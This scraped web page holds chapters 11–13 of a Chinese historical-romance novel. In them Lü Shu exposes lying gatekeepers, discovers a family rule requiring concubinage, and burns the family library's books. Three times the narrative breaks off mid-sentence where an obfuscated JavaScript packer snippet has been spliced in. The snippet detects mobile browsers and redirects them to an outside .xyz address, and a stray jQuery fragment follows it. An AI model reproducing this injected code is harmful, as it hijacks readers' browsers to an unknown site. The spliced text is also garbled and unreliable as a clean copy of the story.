“好啊,偌大一个郡王府,也干这些欺人的勾当!他们家的爵位营生没一个子进账了,指望着用女儿的旧伤来讹我家的钱!”
金铛忙进去,劝道:“夫人小声些,我在外头都听见了。”
赵夫人围着藤椅在榻前来回踱步,一声一声满含气愤。
“我不骂人如何能平我心中怒气,这会子歇火,要把我憋死!”
金铛只得出门去把院中的几个丫鬟都叫去厨房煎药看火。银铃和听风两个则老远的守在进院子的廊上,赵夫人这些话叫人来了听见了未免不好。
惊月是个话多又直脾气的,这时候跳出来说:“我早就说夫人冤枉了小姐了,夫人只是不信。”
“那日一早小姐只是淘气着溜出去玩,还没玩两下子就遇见了县主,我们还没说话呢,那县主就先上来刁难。小姐都行了礼了,偏要小姐跪着不起来。后来小姐生了气,也只是扬起鞭子打在了地上。一点儿也没碰到人,她自己就倒地上了。”
跟在赵夫人身边的金铛道:“早也没见你说,偏这时候是个黄鹂鸟了?”
赵夫人瞥她一眼:“就属你磨牙!”
惊月只蹲在吕姝身边,拿着帕子给她擦汗,嘴里鼓鼓囊嚢的委屈极了。
“我还怎么说呢……”
随后赵夫人接着问了惊月那日的许多细节,惊月一一说了。
吕姝躺在软榻上,听了好一会儿才听明白是怎么回事。
原来那未乡县主先前声称自己右臂受了鞭伤,是被吕姝打骨折了。当时郡王府的人找上门来要说法,赵夫人去郡王府看时,也确实看见伤势严重。
回家来细问女儿,吕姝只是说县主如何如何欺负她,矢口否认是自己打的人。
赵夫人又问她到底拿没拿鞭子,吕姝怕她母亲收了她的鞭子,就说自己没拿出来,是县主污蔑她,惊月本想说实话却也只得跟着做伪证。
赵夫人看女儿眼神闪躲,心虚得厉害,便不大信她的话。私下里又找人问了看门的小厮,都说亲眼看见是吕姝打得县主倒地。
眼看着小姐要被冤枉,这时候惊月才把实话告诉了赵夫人。
赵夫人却误以为惊月要包庇吕姝,结合女儿爱闯祸的性子,到底还是听信了小厮们的话,最后带着吕姝登门赔礼道歉了。
却说这会儿赵夫人把当日看门的两个小厮叫了进来。吕姝看见两个小厮跪在地上,又听见惊月刚才那一番话,猜测小厮是大早上偷懒睡觉,根本没看见打没打到人。
不过是听见一声鞭子响了,看见县主摔倒在地上,加上吕姝平日又是个好惹是生非的,不想让自己挨骂才说她打了人。
赵夫人照例先盘问了几句,那两个小厮起初还不肯承认。
吕姝就问:“当日我是哪只手拿的鞭子?你们两个一起说。”
“一,二……”
“三”字还未说出口,两人就脱口而出:
“左手——”
“右手!”
吕姝听见,嘴角微微勾起。
11. 说到做到
两个小厮面面相觑,其中一个还算有点儿小聪明,就说:“日子长了,有些忘记了。小姐做的这些事,该忘记的就让忘记吧,免得名声不好听。”
吕姝冷笑一声。
“何至于要你操心我的事了?”
“也许你操心得多了,所以才大早上偷懒睡觉醒不来,不管我打没打人,你都要把骂名安到我身上。”
小厮直直地挺着身板,听了这话心里有气,却敢怒不敢言,只跪着磕头。
“小的着实不敢。小的看门从来兢兢业业,不敢偷懒耍滑的!”
吕姝撑着虚弱的病体,拿着手帕子捂了嘴唇咳嗽了两声,因腿伤疼得额头和背上还冒着细汗。
七月又热,吕姝坐了这会子,发丝已经黏湿的了。
赵夫人就叫金铛出去把她房里的那盆冰拿来,放到这屋子里来。
吕府虽有钱,却不能建冰窖,这冰还是今天老四一早派人从郡王府里送来的,除了老太太,每房都只分到一盆。
赵夫人替她摇着扇子,心疼地看着女儿,语气柔软地说:“好闺女,好好歇息,娘来操心这些。”
吕姝摇摇头,只是叫她放心。
仍对着那小厮道:“既如此,你就把当日我怎么打的县主,打的哪里,我说了什么,县主又说了什么一一说来倘若这些你还是不记得——”
她停顿片刻,柔软的声调里透露着不可小觑的威力,“你就不用在这里干了。”
“你也是个年轻小伙子,这记性还不及老婆子们的十分之一,要你在我家还有什么用呢?”
那小厮早在府里听见了前因后果,加上自己虽没看见打人,却看到了事发后县主摔倒的样子,于是胸有成竹地把事情说了。
“小姐早上不好好上学,溜出了门去。出了门,惊月姐姐还劝小姐不要出去,说今天稍晚郑公子会来府上喝茶。小姐说不想见郑公子才要出门去。这时候县主也从家里出来,小姐见了县主却只是装没看见。”
听着这个开头,吕姝便蹙着眉不高兴,这小厮当着面还如此贬低自己,可见并不怕她。
有一个如此,就有一群。这么大一个吕府,怎么净是些好议论主子是非的人?
那小厮低着头,继续说道:“县主很生气,要小姐跪下行大礼。这也怪不得县主,我听见小姐说了好大一声‘我才不跪!’”
他还有模有样的学了,听得赵夫人看着吕姝频频皱眉。又补一句:“得亏惊月姐姐劝了几声,小姐才听了县主的话。”
吕姝冷笑两声,眼神渐渐发寒。
那小厮久不见小姐发话,偷偷抬头一瞄,正撞上吕姝冰冷又严厉的眸子,比冬天的井水还要叫人发怵,又忙垂下头来。
吕姝清了清嗓子,有些厌烦,冷冷地说:“好像但凡我说的话你都听得仔细,记性一下子好得不得了。”
“改明儿我也赶赶时髦的,拨你来做一个‘长史官’,把我的话都记录成册,可好啊?想来是你不识字,凭着你这轱辘转得厉害的脑袋,你也一点儿不为难吧?”
那小厮忙磕头连连说不敢,他原本就是一张扁扁的脸,这会子白得像一大块没切开的肉夹馍。
他心想,从来听说大小姐不爱同下人计较,心思单纯。虽然常常弄得府里鸡飞狗跳,但那都是麻烦老太太和夫人,和他们却不甚相关。
放大小姐出去也不是一次两次了,别人当值的时侯一出了事,回回都是大小姐自己担了,怎么今儿个就抓着自己不放?
好一阵儿屋内都无人说话,赵夫人还没见过女儿这般说话,自己也心里唬了一跳。
屋外的树上蝉叫声叫得人心烦,吱吱地,听在吕姝耳里,像是这馍脸小厮在心里对她的辱骂声,她愈听愈觉得生气。
好在金铛这时候拿了一盆冰来,赵夫人指挥着她放在离吕姝床边三步外的屏风边,怕寒气入体,又怕不凉快,折中着放了。
吕姝觉得凉快了一些,心里的火气才消了些,膝上的伤似乎也没有那么原先那样地疼了。
她又把目光放在馍脸小厮旁边跪着的那个,叫那人接着话头说下去。
这个小厮脸上长了一脸麻子,眼睛不敢看人,弓着腰,畏畏缩缩的,一说话起来,还有些口齿不清。
他嘴里还有颤音,紧张地说着:“那时候时辰尚找,额,尚早,路上没几个银。紫有我们后廊的两个叟门的,和对门的叟门的看,看见了。”
“县主脸色很不好看,就没,冒让小姐起来。我看着那情况是小姐站不住哒,她要起来,县主不允许,小姐就生起气来哒,扬起鞭子打,打……了县主。”
这么一段话里,他把“人”说成“银”,“只有”说成“紫有”,把“守门”说成“叟门”……还有许多错处,吕姝有些听懂了,有些没听懂。
她前世都在北方生活,惯不习惯听他说这样不圆不正的话。
只能让他别再说话,重新问那个馍脸的小厮,指了他道:“还是你,你来说说,县主是什么反应。”
“这……容小人想想——”
他一说话,就像馍馍烤坏了,破了口子似的。
这小厮假装记不清,想了半日装作恍然大悟道:“噢!县主吓了脸都白了,用力去躲的时候,就摔倒了。左半边身子磕在马凳上,起来的时候捂着手直喊疼。”
赵夫人听到紧要处,紧接着追问:“捂着哪只手——”
“捂着左手疼。”两个小厮都是这么说。
听到这里,赵夫人陷入思索。
结合惊月说的来看,三人说的一样,都说事发当日县主捂着左手喊疼。
那问题来了,县主喊左手疼,自己探病时却说是伤了右手,老院判说她的右手是旧伤,这不明摆着就是拿她的旧伤凑数,谎称是吕姝打得,好讹我家的钱么?
赵夫人想到这,和吕姝对视一眼,二人心照不宣,都知道了事情到底是怎么回事。
赵夫人往吕姝身边的榻上坐下,眉毛眼睛都像垂柳似的往下吊着,因为歉意抬不起来。
她带着愧疚,说了好几声对不住。
“都是为娘的错怪你了。”又看着吕姝苍白的脸色,抚摸着她额前的发丝道:“娘的姝儿受委屈了。”
吕姝听着这些温柔的话语,感受着母亲的软语呵护,眼睛红了一圈。
她喉咙哽咽着说:“女儿不委屈。母亲替女儿操心,付出了那么的心血,是母亲受委屈了。”
赵夫人爱抚地看着女儿,越看越满意。
这时门外响起敲门声,听风端着药走了进来。
赵夫人看见了药,招了招手,听风便把药端到赵夫人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956805|177634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面前。
赵夫人亲自给吕姝喂药,吕姝一口一口喝了,这时竟未察觉一丝一毫的苦味。
“不烫吧?”
赵夫人看她眼睛红红的,又自己尝了一口,自顾自地说:“我喝着刚好,再给吹吹——”
“娘……”
吕姝呆呆地喊出了声。
赵夫人应了,问怎么了。
谁知吕姝的眼泪一滴一滴,成串成串地落了下来,浸湿了身前的纱衣。
她趴在赵夫人的怀里,小声哭泣着喊母亲。
“怎么哭了?”
“可是药苦了?”赵夫人起初还误以为女儿怕药苦所以哭了。
她慈爱地笑着说:“药哪里苦成这样,把你这个小闯祸精吓也哭了。听风这丫头拿了你爱吃的蜜饯来,娘喂你一口甜的,就不苦了。”
吕姝只是哭,脸蛋哭得蜜桃一般红。
好一会儿,吕姝才哑着喉咙,吸了吸鼻子,说:“不烫,怎么会烫。母亲吹的药,不用蜜饯,女儿心里就觉得甜了。”
说完,就把药一饮而尽。
赵夫人抚摸着吕姝的头,慈爱地看着女儿。
手上连连爱抚,满是欣慰地也抹着眼泪说:“从前你喝一口药就要吃一口蜜饯,今儿个这般听话,眼见着是越来越懂事了。如今又出嫁了,离我是越来越远……”
两人过了一会儿才好了。
赵夫人得空开始发落两个小厮。她指着两人,眉眼一横,狠狠拍了几下榻木板子,像个女罗刹般凶气侧漏,一点儿不似方才那个慈爱的母亲了。
“我问你们,既然知道小姐是逃学,为什么放她出门?我分明说了不许!”
馍脸小厮随口就胡诌:“小姐……小姐翻墙出去的。”
赵夫人冷笑:“难道惊月也是翻墙?”
馍脸小厮只能硬着头皮点头。
惊月走上前,敲了他一个脑壳子,气道:“你胡说!”
“我和小姐根本就是走小门出去的,你们当时在睡觉,才没看见我们怎么出去的呢。”
那馍脸小厮再没法子,只得请罪磕头。麻脸小厮跟着他说,两个人一起说了些求饶的话。赵夫人扣了他们两个月的月钱,又打了二十板子。
那麻子脸的听了自己罚得和馍脸的一样满是委屈。自己只是听了他的话跟着做而已,他是主谋,自己顶多是个从犯。
赵夫人瞧见了道:“你也不必委屈了。”
“想来他主意多,他说什么你就做什么,可就是这样才要一样的罚呢。想着做了帮凶,法不责众的,自己罚不到多重,这才帮着坏事。天下许多的大事,就是这样才坏了。还不出去领罚——”
话一说完,金铛就喊了人进来,把这两个小厮带下去发落了。
赵夫人又坐了一会儿,这期间好几个婆子来找她拿对牌。她怕打扰女儿休息,没坐多久就回了自己的舒云阁。
吕姝瞧着母亲从庭院里出去,手边按着眉心,边同婆子们说话。她脚上早上还素净的鞋子湿哒哒的,泼着一圈一圈淡绿色的水纹——那是她还没来得及换鞋就来看自己了。
看着母亲渐渐矮小的背影,远远地隐入芭蕉树下,吕姝心中暗暗发誓:母亲,他们郡王府生了不义之财,女儿定叫他们还回来。
——说到做到。
12. 他来做客
却说郡王府高门大院,朱瓦红墙,雕梁画栋,比吕府又要大两三倍。
郡府东边和西边两个巷子人来人往的,卖小玩意儿的,卖小吃的摆了一路,什么凉茶,绿豆汤,荔枝膏应有尽有。
卖豆腐脑、糯米饭的都拿个木桶子装着,用一张白布盖紧。卖烤鸭酱板鸭的把鸭子吊在一根木头杖子上,让香味飘得远远的,路过的小孩子少不得缠着大人要买。
一路上最多的还是卖西瓜的,有的用土车载着装西瓜的箩筐,有的用扁担子,隔着几个别类的摊子就有一个卖瓜的。
劳院判和小女医一老一小从郡王府里出来,已经是午后。
进了巷子,摊主里没有不认识劳院判的,和他熟悉的看见他老人家都会跟他打个招呼,劳院判时常微微笑着颔首,德高望重的,不大说话。
也有一两个找小女医看过病的妇人,譬如陈记卖糖炒栗子的年轻媳妇陈兴家的,头胎分娩的时候难产,请她扎了两针才死里逃生。
这时看见她来,边喊“小劳大夫”,边顺手铲了一袋子就要塞给她。
小女医盛情难却,尤其听见有人称她“大夫”,心里很高兴。
把箱子一撂,买了一袋糖炒栗子,顺手跟旁边卖蒲扇的老板借了个扇子扇风,找了个没人的角落蹲着,自顾自地吃了起来。
老院判觑她一眼:“泼皮,怎么不问你师父饿不饿。”
小女医撇撇嘴:“师父让我跟着出门,也不见有哪家是肯我看病的。每家都塞银票,您饱着呢。还吃这板栗子,您也不怕噎着。我还恐怕您老人家嚼不动。”
说是这么说,手上还是把栗子剥了,边递给她师父边说:“我跟着您,平白的成了给您提价赚票子的了。这些个达官贵人,谁把我当大夫看。”
老院判鼻孔哼了一声。
“难不成是老夫强迫他们给的?那是硬塞的。我不收,他们还不高兴,以为你嫌不够。”
他坐在医箱上摸着花白的胡子,接过板栗子,说:“我要是诚心想赚他们的钱,再多要几张也是使得的。你师父我这么大岁数还有几年活头,早该享受享受了。我带着你到各府里露脸,你几个师兄弟求还求不来呢。”
小女医委屈道:“可是现在都没人要我看病,他们都嫌我年轻,不是个男人。”
每每听见“这个女娃……”开头,她心就凉了一半。
劳院判并不担忧:“你且放心吧,未城有几个人家是像郡王府这样有家底的。那些塞不了几次票子,给不起了的自然要找你看病的。你只要记得,多给多收,少给少收,给多少是他们的事,病一样看就是了。”
小女医想:哪个塞票子的不是奔着院判的名号来的,除了师父,她还没看见有谁愿意多给小大夫钱的。
要是她也能进宫当太医就好了。
她不知道被人接受自己是个大夫要等多久,却真心希望这一天早些到来。
“还是吕家的小姐人好。”她道。
劳院判呵地笑了一声,道:“她就替你说了一句话,你就感恩戴德,也没见对传你医术的师父说一句人好。你不要太天真了,别人家说一句场面话,你就把人家当好人。”
一双眼睛不知道看着哪里出神,直愣愣的,似乎是想起了他在宫里当太医的日子。
忽然,他叹了一口气说:“这就走吧,眼见着要下雨了。”
小女医疑惑,抬头看她师父,见他的视线锁在瓜摊的摊主刘二狗的小腿上,恍然大悟。
原来那刘家的瓜农腿上有风湿,一下雨就疼,劳院判瞧他方才用右手不停地捶腿,知道他这是又犯病了。
果不其然,顷刻间就刮起了一阵大风,把小摊子上竖着的旌旗吹得乱舞。师徒二人回到医馆没多久,雨就在他们后脚跟下起来了。
未城夏季多阴雨,一阵停了,一阵接又起,像是急递铺的铺兵传递文书,一个接着一个。
今日这雨,算起来却是未城七月以来的第一场。
不等人反应过来,劈头盖脸地就倒了雨下来。急促的雨声,犹如手误打翻了盘子,琉璃珠子洒落一地,令人魂惊。院子里就有婆子喊收东西,闹闹哄哄,晒书的要收,晒被子的也要收,隔着院子也都能听见声音。
动静大时,吕姝凭着声音能想见她们拿着东西跑动的样子,及至后来声量慢慢小了,最后只剩下雨声了,整个吕府都安静了下来。
吕姝喝了药犯困,中饭也没吃,午后吃了些点心,就睡到了下午。
醒来时,雨已经停了。
荣回堂的来传话,说老太太让在院子里禁足半月,罚抄祖训一百遍。
吕姝听前面还好,一听要抄家书,便不耐烦。她不喜欢抄这些东西。
傍晚的时候,她觉得屋里闷闷的,听风带了她到靠湖的水窗边坐了一会儿。小荷轩后背就是湖,有一小廊直通水榭,那儿赏荷花是最好的。
秦禄来找她,看望了一番,才回了自己院子。
晚上他住在吕犀的院子里,还是他从前住过的那间。
经过早上的事,吕犀已经知道自家妹妹和秦禄是怎么回事了,故而也没多生他的气。
两师兄弟晚饭是一起吃的,夜里又一起喝酒。交谈间,秦禄听到吕犀说吕姝被罚了抄书,留了心。
临走时去吕犀书房里找他要了一张吕姝写的花笺,自己花了一夜功夫,模仿她的笔迹替她抄完了一百遍。第二日一早,他亲自送去小荷轩。
天阴沉沉的,屋内光线昏暗。一阵风把芭蕉叶上的残留的雨珠浇了下来,打湿了秦禄的肩膀。
他轻轻拍了两下,走至院中,看见房门打开着,中厅里暗暗的,像是没有人。又走了两步,再走近时又听见屋里有人说话。
本来不是想故意偷听的,却听见有一个丫头说:“姑爷相貌堂堂,为什么小姐要和离?”
听着声音声音跳脱,他猜是惊月。
还没等吕姝说话,又一个接话:“我也不懂。小姐,姑爷不仅相貌好,家世也好,他爹在京城当官的,二品大员!”
常跟在吕姝身边的就是惊月和听风两个了,这个他估摸着就是听风了。
听到两人在说自己,脚上步子便没挪,站在原地听下去了。
屋内,吕姝在榻上坐着打算写字,榻上摆着一张檀木小桌,惊月磨墨,听风铺纸。
听风说完话,还伸出两个手指比了个二,在吕姝眼前晃荡,“比我们大老爷高好多好多品级呢。”
她爹是个七品知县嘛。
吕姝只是笑了一下。官不官的,她不甚在意。
前世她父亲就是两江总督授兵部尚书,官比秦禄他爹还高一阶,也没见到自己过的日子比在这里的吕姝舒心。嫁的又是那样的人,糟心死了。
吕姝:“什么姑爷,哪门子姑爷?也不知怎么就来了这么两天,你们两个就被他收买了。”
惊月打趣说:“可不是姑爷么……早上夫人太太都这么喊的。小姐也就只敢捏我们的短。”
秦禄在门外听了这话,心中暗暗称赞惊月。本来就是姑爷,又没说错……
“我瞧着姑爷很喜欢小姐,小姐不如不要和离了,和离以后可是很难嫁出去的。”
“谁说我还要嫁人了?”
惊月和听风面面相觑,“怎么不是?姑娘心仪郑公子,所以才闹和离不是?”
吕姝还不知道是哪个郑公子,却听见有人在门外喊有没有人在家。
原来秦禄听到紧要处,却不想听下去了,觉得那些话讨人厌,故意加重了脚上的脚步,在台阶上就大声喊起了门来。
几人连忙没说话了。
见秦禄来,惊月请他先在外间看座。秦禄心中感慨,不过一朝一夕的功夫,再来到这里他已经成了客人了。
想到方才听到吕姝心仪一个姓郑的,心中升起一股烦闷之气。
心里不停地默默念着姓郑的,又思索起这未城府里谁家姓郑,谁家有年轻公子,把他知道的几个有头有脸的人家都想了一遍。
一时又猜不中是谁,烦恼中便责怪自己刚才不耐着性子多听几句,这下又不知道是哪个姓郑的了。
倘若知道了,他也好去“劝劝”那位啊。
忽耳后响起好温柔的话语,原来是吕姝从里间出来。
“你怎么来了?”
因吕姝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956806|177634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的膝盖上的伤怕闷热,在屋里她都露出腿来,这会儿秦禄来了,听风帮她掩下裤腿,收拾了一会儿才由听风扶着出来会客。
秦禄看见她,站起来走到她身边,笑着跟她说:“听说你被罚禁足抄书,救你水火来了。”
吕姝眼睛一弯,嘴上微微笑着说:“丁点儿大的事,被你说得天塌了似的。”
看她气色比昨日要好,先是问了些平常的话,譬如“昨日请了大夫,药按时吃了么?”“膝盖可还疼?”之类的。
吕姝一一答过。
秦禄又给她一封信,让她看看。
“今日收到书信,上面说我在洞庭的姑妈明日要来府里说我俩的事,我想着姑妈一来,和离这事估计就结了,明日我便启程离开。”
他边说,边看着吕姝,观察着她的反应。
“明日?”吕姝奇怪,“姑妈也得住个一两日再走的,你急什么?”
秦禄笑着打趣她说:“我给郑公子腾地儿,你不高兴啊?我猜你心里盼着我走得越快越好。”
吕姝这下知道方才说的话被他听到了,皱着脸说:“你这人偷听了别人说话还好意思把话当着人面说出来,没脸没皮的。”
秦禄摸了一下鼻子,心虚道:“你在背后议论我,我还没生气呢。”
吕姝说:“谁议论你了,议论你什么了?我们只是说了两句实话而已。”
吕姝倒不是为他偷听生气,而是为他拿那郑公子打趣她生气。
方才听他说明日就要走,急得像是逃难一般,故而心中不打高兴。
冷着脸哼了一声:“你家是大雄宝殿,我家是小庙破庙,所以容不下你这尊大佛,你才要跟泥鳅似的溜走。要走就走吧,没人拦你。只是我腿脚不便,明日恕不远送。”
秦禄看她语言尖利,说话中却似有不舍他离开之意,心情忽然又开朗起来。
嘴角微微翘起,笑着说:“你瞧你的脾气,偏在我面前这样大,你就是知道我不会同你计较才这样说。换个人来说话,我早同他急了。”
又说:“想姑妈来了,也要人陪,我久不见她老人家,是该多住两天同她多说说话。”
吕姝听了后,这才挽起左边的嘴角悠悠道:“当两天好侄子,像是要累死你似的。”
又瞄见他手边案上放了一沓纸,问那是什么东西。
秦禄心想:我都放在边上这么久了,你可算问了。
他道:“我听明照说祖母要你抄祖训,我怕你疼得不耐烦,没有心思抄书,再说心情不佳也不利于伤口恢复,我便替你抄了。”
吕姝惊道:“这么快?”
又问:“这不是才一夜功夫么,一百遍,全都抄完了?”
秦禄点了点头,随意地说:“抄完了。”
“抄书又不是什么难事,我从小也不知道被我父亲罚了多少次,笔速都练出来。”
又告诉吕姝秘诀道:“反正这些东西一模一样的,长辈也不会细看。最紧要的是把上面几张写得板正,最中间和最底下几张也写得板正,其他的地方都可以潦草些,用几只笔同时抄也不为过。他们拿着一沓纸,随手一翻,摸摸厚度,也就过关了。我常年用这法子,可好用了。”
听得吕姝觉得他在家里受秦大人罚千百次了,一时间笑个不停。
吕姝拿着这沓纸,也作势一翻,果真发现了他所说的规律,上面的干净仔细,再翻几张过去,就有些黄庭坚《花气熏人帖》的随意自在了。
秦禄……他也还算体贴。
吕姝很高兴,心里像是化开了的糖一般甜,一下又懊悔方才不该那样对他发脾气。
“字写得不错。”
只见吕姝笑着仔细看他的字。
看了前两张纸上的楷书,几行之后,她突然脸色一变,手指上也用力起来,纸张变得褶皱不堪。
吕姝急问道:“这是我家祖训?你没抄错么?”
“是啊,我找你哥要的。”
吕姝看见纸上骤然写着“三十无后需纳妾”这几个字,面色煞白。
怎么会……怎么会……
这分明是她家的祖训,怎么在这里也看见了?
13. 妹妹疯了
吕姝没想到,她会在这祖训上又一次栽跟头。
秦禄看吕姝的脸上神色十分着急,正想着说去叫吕犀过来问一问,谁知从假山石边上露出一个人影来,仔细一看,原来是吕犀。
“姝妹,快看大哥给你带什么来了!”
吕犀兴冲冲进了院门,边走边招手让身后跟着的逐日和披星把轮椅抬进来。
“快抬进来!小心着点,别沾着积水了。”
“不要沾地啊,免得弄脏了屋子。”
“哎呀,快点快点,到屋子里来再说。”
三两步跳进了小荷轩的中厅,一看秦禄坐在厅上,脸上笑容一收,眉宇中窘着,大步走到他面前提着嗓子声问:“怎么回事?你怎么在这儿?”
似乎对秦禄的出现很是不满。
还不等秦禄回答,他两手拉着秦禄的胳膊,就要请他出去。
“我妹妹的闺房,你进出不合适,走走走。”
秦禄不走,推开他的手道:“先别管我,你妹妹有重要的事儿要问你呢,你先去管管她。”
吕姝满脑子都是家训的事情,顾不上去看她哥哥带来的轮椅,蹙着眉头说:“哥哥,我有要事,劳烦你坐一会儿。”
“好啊好啊。”
吕犀嘴上只是答应着,一心想着要给妹妹一个惊喜,丝毫不曾注意到吕姝口气里的着急。
看见逐日和披星两个把轮椅抬了进来,眼睛的注意力便都放在这轮椅上了。
“不过我先给你看这个好东西!你大哥我今日跑到东大街上……”
吕姝拿着纸张的手放在额头上,很是无奈,此刻她着急得很,没有一丝耐心听他讲什么轮椅。
她使了个眼神,听风就走到吕犀身边,请吕犀坐了下来喝茶。
那边惊月笑着说:“大公子,我先把这椅子拿下去擦拭擦拭,外头来的,怕是灰尘多。”
说完走去给了逐日和披星赏钱,把他两个一起带下去了。
吕犀两只眼睛直愣愣地看着他们把轮椅又抬走了。
“诶……”想要阻止,又不好说。
原本他想要哄妹妹开心的话全都不曾说出来,就好像被一口饼噎住了似的,一下觉得好没意思。
他沮丧着说:“妹妹有什么话,要问就问吧。”
吕姝就问他家训上那条“三十无后需纳妾,不纳便是大不孝,需请家法……”是从哪儿来的。
吕犀说:“这是一位大家说的,二叔觉得有理,把它写在上面。”
挠了挠脑袋,似想起些什么,说:“就是前几年写的吧,你不记得了?当时你还说,这些个祖训越抄越多了,比小时候抄的多了五六页。”
吕姝紧接着追问:“是哪位大家?”
“我哪儿记得。横竖就是哪个名家来我们这儿讲学的时候被二叔听见了,写进去的。”
吕姝心想,这个人就是害她父母离心的源头,改日她要去问问二叔。
吕姝问:“大哥觉得这家训有理吗?”
吕犀点了点头。
“为了延续家族血脉,自然是要纳妾的。这一点,就是那些说着要灭人欲的理学家们,也不能说什么话。你要是不纳妾,无后了,那才要被他们口诛笔伐。”
吕姝的胃里有些想要呕吐。
她当然知道三纲五常,知道不孝有三,无后为大。但是为什么不把女儿算在后代里面?为什么非要有一个儿子?为什么女人都要听男人的,女人不能做女人的主?
她有好多疑问,可都没有人解答。就是眼前,眼前的两个人,也不会有一个人能够告诉她答案。
吕姝又是生气,又是恼火。
“哥哥成日到秦楼楚馆寻花问柳,学堂里没见待过几日,怎么一到纳妾连理学也都十分明白了?”
“你今日什么毛病?只有哥哥管妹妹的份,哪有你管我的份?”
吕犀听她说话如此不客气,骂骂咧咧地出门去了。
他心里十分不痛快,出门前还踹了两下门,把台阶上的一盆花给踢倒了,坛子碎了,土撒了一地。
吕姝不管他,只是复问秦禄:“你也这么觉得?”
她的眼神紧紧地盯着他。
秦禄思索道:“这不合理。”
“两个人一起生不出儿子,为什么只准男的纳妾,而不准女的再嫁呢?”
“其实这条家训只是给男的找了一个纳妾的借口,如果没有这个借口,男的还是会纳妾,但女子却要又多一条约束了。”
吕姝冷着的脸稍微缓和:“好,你还算正常。”
吕姝说完就喊惊月进来,说要去藏书阁。这下吕犀送来的轮椅刚好派上用场。
吕姝到了藏书阁只是不停地翻着,秦禄也陪着她一起翻。
吕家虽是商贾之家,却十分支持族中子弟读书科考,这藏书阁里就有许多藏书是吕姝父亲看过的。
秦禄不知道她要找些什么,只是看着不停地把那些书页撕了堆在一起。他随手拿起几页,渐渐发现了规律。
那上面都是些写着纳妾休妻的,还有些是不许女儿改嫁,不许和离女儿回家的……
秦禄在边上皱着眉头道:“你烧尽书,却烧不尽男人想纳妾的心。”
“你这样做是徒劳的。”
吕姝还是撕着,忽然她停下来,两眼定定地,抬头仰视着秦禄,眼中似有逼迫之意。
她问:“你会纳妾么?”
秦禄斩钉截铁地说:“不会。”
随即,他蹲了下来,拿开吕姝手里的书合上,让她把目光放到自己身上,轻声说:“这个承诺,我只许给你。”
“为什么?”
秦禄不知道她是问为什么不纳妾,还是问为什么只许诺她,亦或是两个都问。
于是说:“只有天作之合,子嗣之事才会顺顺利利。我与你自幼有婚约,你我逃了多少次都没成,难道还不是天定的缘分么?”
可是,这一次她逃成了,这并不是天定的缘分,与他婚约的,是先前的吕姝,与他有缘的,也是她。
吕姝冷笑一声:“不。这不好。”
“我不会嫁给你。你要承诺的人不是我。”
秦禄猛地站起,急道:“可你已经嫁给我了,我们现在还没分开。”
“明日姑妈就来。”
六个字,把秦禄的心浇得湿漉漉的。
“好,我明日就走!”
他一生气,大步
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956807|177634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
流星地跑走了。
话说吕犀跑到赵夫人的舒云阁里抱怨了妹妹一通,一进门就对着赵夫人喊:“娘,妹妹疯了!”
赵夫人正在房里操心下个月中秋节要办家宴的事,听他说吕姝疯了,忙问怎么回事。
吕犀说了刚才情形,赵夫人听完,舒了好长一口气,重重拍了一把儿子的肩膀。
“害。我当什么事儿。就为这个,也来烦我。你就出去玩去吧。”
吕犀还是不停地说:“母亲,妹妹真个没分寸,她如今都管起我,管起爷们纳妾的事儿来了!”
赵夫人道:“你妹妹那是关心你,老是在外头眠花宿柳,我都担心你得那些不干净的病。”
“再说你们爷们娶了小老婆从来都是往宅子里一扔就完了,什么时候正经管过了?就说你父亲在夏江娶的姨娘,这会子不是我管着?什么时候你父亲自己真管起来,我撂担子才好呢。”
吕犀道:“你嫌累,让姨娘来管你,你又不乐意。”
赵夫人气死:“你这倒反天罡的!你才是疯了!”
这时外头来报,一个小厮跑来说吕姝把藏书阁给烧了。
吕犀一听:“我就说她疯了!好多事情不记得不说,行为奇奇怪怪。这下连房子都烧了,这不是疯了是什么!”
赵夫人骂道:“你这孽障,还不去拦着你妹妹去!在这里骂人算什么?”
却说吕犀和赵夫人急急忙忙赶往藏书阁的的时候,就已经在荣回堂外看见藏书阁里冒着直直的黑烟,阴沉沉的天上飘着大片大片的灰烬。
赵夫人心里急得要死,看见荣回堂的人提着桶要去池子里打水救火,撞见了正往堂内跑的石榴,赵夫人问什么情况了。
石榴急急地说:“火不是大事儿,小姐才是大事儿!夫人快去看看吧,小姐拿了把刀架在脖子上!”
赵夫人一听,急得跟什么似的,脚上踉跄一下腿软了,好在吕犀扶了她一把。
却说藏书阁的景象却是剑拔弩张。
门前庭院里一口大铁锅里冒着浓浓的黑烟,边上站着惊月和听风两个丫头,两人不断地把碎掉的书页和抄本往火里扔,有一本上还写着“吕氏家训”。
